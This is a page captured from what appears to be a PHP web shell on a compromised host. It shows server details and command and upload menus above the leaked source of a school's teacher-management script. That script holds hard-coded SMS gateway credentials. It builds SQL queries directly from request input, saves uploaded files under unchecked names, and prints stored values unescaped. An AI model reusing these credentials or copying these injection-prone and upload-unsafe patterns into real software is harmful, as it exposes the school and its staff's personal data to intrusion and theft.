|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.142 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/code/img/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("../link/databaseconnection.php");
$flag=$_REQUEST['flag'];
if(!$flag)
{
header("location:http://gcschool.co.in");
}
switch($flag)
{
case 12:
$name=$_POST['name'];
$father=$_POST['father'];
$eligi=$_POST['eligi'];
$mobile=$_POST['mobile'];
$village=$_POST['village'];
$post=$_POST['post'];
$position=$_POST['position'];
$dist=$_POST['dist'];
$pincode=$_POST['pincode'];
$picture=$_FILES['picture']['name'];
$tempname=$_FILES['picture']['tmp_name'];
$location="img/".$picture;
$chk=implode(",",$_POST['chk']);
$date=date("d/m/y");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date.$time;
$ins="insert into teacher(name,father,elegibility,subject,mobile,city,post,dist,pincode,image,position,date) values('$name','$father','$eligi','$chk','$mobile','$village','$post','$dist','$pincode','$picture','$position','$datetime')";
if($res=mysqli_query($conn,$ins))
{
echo"submit";
move_uploaded_file($tempname,$location);
}
else
{
echo"not submit";
}
break;
//=============================================
case 1:
?>
<script>
$(document).ready(function(){
$('#example').DataTable({
dom: 'Bfrtip',
buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
});
});
</script>
<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
<thead>
<tr>
<th>Sr.</th><th>Photo</th><th>Name</th><th>Father</th><th>Position</th><th>Eligibility</th><th> Teaching Sub</th><th>Address</th><th>Mobile</th><th>Date</th><th>Message</th><th>Payment</th><th>Delete</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Sr.</th><th>Photo</th><th>Name</th><th>Father</th><th>Position</th><th>Eligibility</th><th> Teaching Sub</th><th>Address</th><th>Mobile</th><th>Date</th><th>Message</th><th>Payment</th><th>Delete</th>
</tr>
</tfoot>
<tbody>
<?php
$sel="select * from teacher";
$res=mysqli_query($conn,$sel);
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$a=$row['city'];
$b=$row['post'];
$c=$row['dist'];
$e=$row['pincode'];
$d=$a." ".$c." ".$e;
?>
<tr class="text-center">
<td><?php echo $s;?></td><td><img src="../code/img/<?php echo $row['image'];?>" height="60px" width="60px;"></td><td><?php echo $row['name'];?></td><td><?php echo $row['father'];?></td><td><?php echo $row['position'];?></td><td><?php echo $row['elegibility'];?></td><td><?php echo $row['subject'];?></td><td><?php echo $d;?></td><td><?php echo $row['mobile'];?></td><td><?php echo $row['date'];?></td>
<td><a href="javascript:;" onclick="messagerow(<?php echo $row['id'];?>)"> <span class="glyphicon glyphicon-envelope"></span></a></td>
<td><a href="javascript:;" onclick="feesrow(<?php echo $row['id'];?>)"> <span class=""></span>Payment</a></td>
<td><a href="javascript:;" onclick="deleterow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
</tr>
<?php
$s++;
}
?>
</tbody>
</table>
</div>
<?php
break;
case 2:
$id=$_POST['rowid'];
$sel="select * from teacher where id='$id'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$photo=$row['picture'];
$location="../code/img/".$photo;
$del="delete from teacher where id='$id'";
if(mysqli_query($conn,$del))
{
echo"deleted Successfully";
unlink($location);
}
else
{
echo"Not Deleted";
}
break;
case 3:
$eid=$_REQUEST['id'];
//echo"$eid";
$sel="select * from teacher where id='$eid'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
$a=$row['village'];
$b=$row['postoffice'];
$c=$row['dist'];
$d=$a." ".$b." ".$c;
?>
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-body">
<form class="form-horizontal" id="myform" onsubmit="return updaterow(this)">
<div class="form-group">
<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
<label class="col-sm-3 control-label">Name</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['name'];?>" name="name"/></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Father Name</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['father'];?>" name="fname"/></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label"> Eligibility-</label>
<div class="col-sm-8">
<input type="text" class="form-control" name="eligi" value="<?php echo $row['elegibility'];?>" placeholder="Eligibility">
</div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label"> Teaching Subject-</label>
<div class="col-sm-9">
<input type="checkbox" class="" name="chk[]" value="Hindi"/>Hindi 
<input type="checkbox" class="" name="chk[]" value="Math"/>Math 
<input type="checkbox" class="" name="chk[]" value="English"/>English 
<input type="checkbox" class="" name="chk[]" value="Science"/>Science 
<input type="checkbox" class="" name="chk[]" value="So.science"/>Social Science <br/>
<input type="checkbox" class="" name="chk[]" value="Sanskrit"/>Sanskrit 
<input type="checkbox" class="" name="chk[]" value="Art"/>Art 
<input type="checkbox" class="" name="chk[]" value="Urdu"/>Urdu 
<input type="checkbox" class="" name="chk[]" value="Geography"/>Geography 
<input type="checkbox" class="" name="chk[]" value="Hostory"/>History 
</div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Class</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['class'];?>" name="class"/></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Subject</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['subject'];?>" name="subject"/></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Address</label>
<div class="col-sm-8"><textarea class="form-control" name="add" style="resize:none"><?php echo $d;?></textarea></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Mobile</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['mobile'];?>" name="mobile"/></div>
<br/>
</div>
<div class="form-group">
<label class="col-sm-3 control-label"> Old Image</label>
<div class="col-sm-8"><img src="../code/img/<?php echo $row['picture'];?>" height="60px" width="60px;" ></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Change Image</label>
<div class="col-sm-8"><input type="file" name="img"/></div>
</div>
<br/>
<center><button class="btn btn-primary">Update</button>
   <button class="btn btn-danger" data-dismiss="modal"> Close</button>
</center>
</div>
</form>
</div>
</div>
<?php
break;
case 4:
$id=$_POST['id'];
$name=$_POST['name'];
$fname=$_POST['fname'];
$mname=$_POST['mname'];
$dob=$_POST['dob'];
$class=$_POST['class'];
$subject=$_POST['subject'];
$add=$_POST['add'];
$mobile=$_POST['mobile'];
$imgname=$_FILES['img']['name'];
$tempname=$_FILES['img']['tmp_name'];
$sel="select * from teacher where id='$id'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQL_BOTH);
$pic=$row['picture'];
$location1="../code/img/".$pic;
$location="../code/img/";
$up="update registration set name='$name',fname='$fname',mname='$mname',dob='$dob',class='$class',subject='$subject',village='$add',mobile='$mobile',picture='$imgname' where id='$id' ";
if(mysqli_query($conn,$up))
{
unlink($location1);
move_uploaded_file($tempname,$location.$imgname);
echo"ok";
}
else
{
echo"not update";
}
break;
case 5:
$id=$_REQUEST['id'];
$sel="select * from teacher where id='$id'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
?>
<form class="form-horizontal" id="regform12" onsubmit="return data(this)">
<div class="form-group">
<label class="col-sm-6 control-label"> Student Name </label>
<div class="col-sm-6"><input type="text" class="form-control" value="<?php echo $row['name'];?>" name="name" ></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label">Father Name</label>
<div class="col-sm-6"><input type="text" class="form-control" value="<?php echo $row['fname'];?>" name="fname" ></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label">Mother Name </label>
<div class="col-sm-6"><input type="text" class="form-control" value="<?php echo $row['mname'];?>" name="mname" ></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label">DOB</label>
<div class="col-sm-6"><input type="date" class="form-control" value="<?php echo $row['dob'];?>" name="dob" ></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub1" class="form-control" placeholder="Subject 1" /></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark1" placeholder="Marks" required></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub2" class="form-control" placeholder="Subject 2" /></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark2" placeholder="Marks 2" required></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub3" class="form-control" placeholder="Subject 3"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark3" placeholder="Marks 3" required></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub4" class="form-control" placeholder="Subject 4"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark4" placeholder="Marks 4"></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub5" class="form-control" placeholder="Subject 5"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark5" placeholder="Marks 5"></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub6" class="form-control" placeholder="Subject 6"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark6" placeholder="Marks 6"></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub7" class="form-control" placeholder="Subject 7"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark7" placeholder="Marks 7"></div>
</div>
<div class="form-group">
<br/>
<label class="col-sm-6 control-label"><input type="text" style="text-transform:uppercase" name="sub8" class="form-control" placeholder="Subject 8"/></label>
<div class="col-sm-6"><input type="text" class="form-control" name="mark8" placeholder="Marks 8"></div>
</div>
<center><button class="btn btn-primary" > Submit</button>
   <button class="btn btn-danger" data-dismiss="modal"> Close</button>
</center>
<marquee> If Not Available subjects and Marks fillup NA in Box </marquee>
</form>
<?php
break;
case 6:
$name=$_POST['name'];
$fname=$_POST['fname'];
$mname=$_POST['mname'];
$dob=$_POST['dob'];
$sub1=$_POST['sub1'];
$sub2=$_POST['sub2'];
$sub3=$_POST['sub3'];
$sub4=$_POST['sub4'];
$sub5=$_POST['sub5'];
$sub6=$_POST['sub6'];
$sub7=$_POST['sub7'];
$sub8=$_POST['sub8'];
$mark1=$_POST['mark1'];
$mark2=$_POST['mark2'];
$mark3=$_POST['mark3'];
$mark4=$_POST['mark4'];
$mark5=$_POST['mark5'];
$mark6=$_POST['mark6'];
$mark7=$_POST['mark7'];
$mark8=$_POST['mark8'];
$ins1="insert into result(name,fname,mname,dob,sub1,sub2,sub3,sub4,sub5,sub6,sub7,sub8,mark1,mark2,mark3,mark4,mark5,mark6,mark7,mark8) values('$name','$fname','$mname','$dob','$sub1','$sub2','$sub3','$sub4','$sub5','$sub6','$sub7','$sub8','$mark1','$mark2','$mark3','$mark4','$mark5','$mark6','$mark7','$mark8')";
if(mysqli_query($conn,$ins1))
{
echo"ok";
}
else
{
echo"not ok";
}
break;
case 7:
$eid=$_REQUEST['id'];
//echo"$eid";
$sel="select * from teacher where id='$eid'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
?>
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-body">
<form class="form-horizontal" id="myform21" >
<div class="form-group">
<input type="hidden" value="<?php echo $row['id'];?>" name="id"/>
<label class="col-sm-3 control-label">Name</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['name'];?>" name="name"/></div>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Mobile</label>
<div class="col-sm-8"><input type="text" class="form-control" value="<?php echo $row['mobile'];?>" name="mobile"/></div>
<br/>
</div>
<br/>
<div class="form-group">
<label class="col-sm-3 control-label">Message</label>
<div class="col-sm-8"><textarea class="form-control" name="message"/ required></textarea></div>
<br/>
</div>
<center><button class="btn btn-primary">Send</button>
   <button class="btn btn-danger" data-dismiss="modal"> Close</button>
</center>
</div>
</form>
</div>
</div>
<script>
$(document).ready(function(){
$("#myform21").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/teachercode.php?flag=8",
type:"POST",
data:new FormData(this),
processData:false,
contentType:false,
success:function(res){
alert(res);
if(res=='submit')
{
$("#editmodel12").modal("hide");
}
},
error:function(){
alert("error");
}
});
});
});
</script>
<?php
break;
case 8:
$number=$_POST['mobile'];
//echo"$number";
$message=$_POST['message'];
//echo"$message";
$date=date("d-m-Y");
$username="AwadheshYadav";
$password="AwadheshYadav";
$senderid="GCSNNJ";
$to=$number;
$msg=urlencode($message);
$api="http://bulksms.jupitersms.com/index.php/smsapi/httpapi/?uname=brkweb&password=india&sender=GCSNNJ&receiver=$to&route=TA&msgtype=1&sms=$msg";
$result=file_get_contents($api);
if($result)
{
$ins="insert into message (message,count) value('$message','1')";
$res=mysqli_query($conn,$ins);
$insme="insert into message1 (message,date) value('$message','$date')";
$resme=mysqli_query($conn,$insme);
echo"<script>alert('sms send');window.location.href='../admin/show_staffzone.php';</script>";
}
else
{
echo"<script>alert('sms not send');window.location.href='../admin/show_staffzone.php';</script>";
}
break;
case 9:
$eid=$_REQUEST['id'];
//echo"$eid";
$sel="select * from teacher where id='$eid'";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
?>
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-body">
<form class="form-horizontal" id="regform">
<div class="form-group">
<label class="col-sm-3 control-label">Name-</label>
<div class="col-sm-5">
<input type="text" value="<?php echo $row['name'];?>" class="form-control" name="name">
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Father Name-</label>
<div class="col-sm-8">
<input type="text" value="<?php echo $row['father'];?>" class="form-control" name="father">
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Session-</label>
<div class="col-sm-5">
<?php
$selc="select * from session order by id desc";
$resc=mysqli_query($conn,$selc);
?>
<select class="form-control" style="font-weight:bold" id="select" name="year" required>
<option value=''>--Select--</option>
<?php
while($rowc=mysqli_fetch_array($resc,MYSQLI_BOTH))
{
?>
<option><?php echo $rowc['session'];?></option>
<?php
}
?>
</select>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Month-</label>
<div class="col-sm-5">
<select class="form-control" name="month">
<option>January</option>
<option>February</option>
<option>March</option>
<option>April</option>
<option>May</option>
<option>June</option>
<option>July</option>
<option>August</option>
<option>September</option>
<option>October</option>
<option>November</option>
<option>December</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Salory Per Month-</label>
<div class="col-sm-5">
<input type="number" class="form-control" placeholder="salory" name="salory" id="salory">
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Absent Day-</label>
<div class="col-sm-5">
<input type="number" class="form-control" placeholder="Absent day" name="absent" id="absent" >
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Actual Presenty-</label>
<div class="col-sm-5">
<input type="number" class="form-control" placeholder="Actual Presenty" name="present"id="ap" readonly>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Actual Payment-</label>
<div class="col-sm-5">
<input type="number" class="form-control" placeholder="payment" name="pay"id="pay" readonly>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Presenty per-</label>
<div class="col-sm-5">
<input type="number" class="form-control" placeholder="Present day" name="per"id="per" readonly>
<br/>
<center><button class="btn btn-success">Submit</button>
   <button class="btn btn-danger" data-dismiss="modal"> Close</button>
</center>
</div>
</div>
</form>
</div>
</div>
</div>
<script>
$(document).ready(function(){
$("#ap").focus(function(){
var s=$("#salory").val();
var abs=$("#absent").val();
var a=30-abs;
$("#present").val(a);
var pds=s/30;
var perd=s-a*pds;
var as=s-perd;
var per=a/30*100;
var pert=parseInt(per);
$("#pay").val(as);
$("#ap").val(a);
$("#per").val(pert);
});
});
$(document).ready(function(){
$("#regform").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/teachercode.php?flag=10",
type:"POST",
data:new FormData(this),
processData:false,
contentType:false,
success:function(res){
alert(res);
if(res=='submit')
{
$("#editmodel12").modal("hide");
}
},
error:function(){
alert("error");
}
});
});
});
</script>
<?php
break;
case 10:
$name=$_POST['name'];
$father=$_POST['father'];
$month=$_POST['month'];
$year=$_POST['year'];
$salory=$_POST['salory'];
$absent=$_POST['absent'];
$present=$_POST['present'];
$date=date("d-m-Y");
date_default_timezone_set("asia/kolkata");
$time=date("h:i:sa");
$datetime=$date." ".$time;
$pay=$_POST['pay'];
$sub=substr($pay,0,7);
$per=$_POST['per'];
$ins="insert into payment(name,father,month,sal_per_month,absent_day,actual_per,actual_pay,persenty_per,year,datetime) values('$name','$father','$month','$salory','$absent','$present','$sub','$per','$year','$datetime')";
if(mysqli_query($conn,$ins))
{
echo"submit";
}
else
{
echo"not submit";
}
break;
//=========================================================message==
case 11:
$message=$_POST['message'];
$sel="select * from teacher ";
$res=mysqli_query($conn,$sel);
$mob="";
$mess=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$mobile1=$row['mobile'];
$mob= $mobile1.",".$mob;
$mess++;
}
$username="AwadheshYadav";
$password="AwadheshYadav";
$senderid="GCSNNJ";
$date=date("d-m-Y");
$msg=urlencode($message);
$rest=substr($mob,0,-1);
$to=$rest;
$api="http://bulksms.jupitersms.com/index.php/smsapi/httpapi/?uname=brkweb&password=india&sender=GCSNNJ&receiver=$to&route=TA&msgtype=1&sms=$msg";
$result=file_get_contents($api);
if($result)
{
$ins="insert into message (message,count) value('$message','$mess')";
$res=mysqli_query($conn,$ins);
$insme="insert into message1 (message,date) value('$message','$date')";
$resme=mysqli_query($conn,$insme);
echo"sms send";
}
else
{
echo"sms not send";
}
break ;
case 14:
?>
<script>
$(document).ready(function(){
$('#example').DataTable({
dom: 'Bfrtip',
buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
});
});
</script>
<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
<thead>
<tr>
<th>Sr.</th><th>Name</th><th>Father</th><th>Year</th><th>Month</th><th> salory Per Month</th><th>Persenty</th><th>Payment</th><th>Presenty per</th><th>Delete</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Sr.</th><th>Name</th><th>Father</th><th>Year</th><th>Month</th><th> salory Per Month</th><th>Persenty</th><th>Payment</th><th>Presenty per</th><th>Delete</th>
</tr>
</tfoot>
<tbody>
<?php
$sel="select * from payment";
$res=mysqli_query($conn,$sel);
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?>
<tr class="text-center">
<td><?php echo $s;?></td><td><?php echo $row['name'];?></td><td><?php echo $row['father'];?></td><td><?php echo $row['year'];?></td><td><?php echo $row['month'];?></td><td><?php echo $row['sal_per_month'];?></td><td><?php echo $row['actual_per'];?></td><td><?php echo $row['actual_pay'];?></td><td><?php echo $row['persenty_per'];?></td>
<td><a href="javascript:;" onclick="deleterow(<?php echo $row['id'];?>)"><span class="glyphicon glyphicon-trash"></span></a></td>
</tr>
<?php
$s++;
}
?>
</tbody>
</table>
<?php
break;
case 15:
$id=$_POST['rowid'];
$del="delete from payment where id='$id'";
if(mysqli_query($conn,$del))
{
echo"deleted Successfully";
}
else
{
echo"Not Deleted";
}
break;
}
?>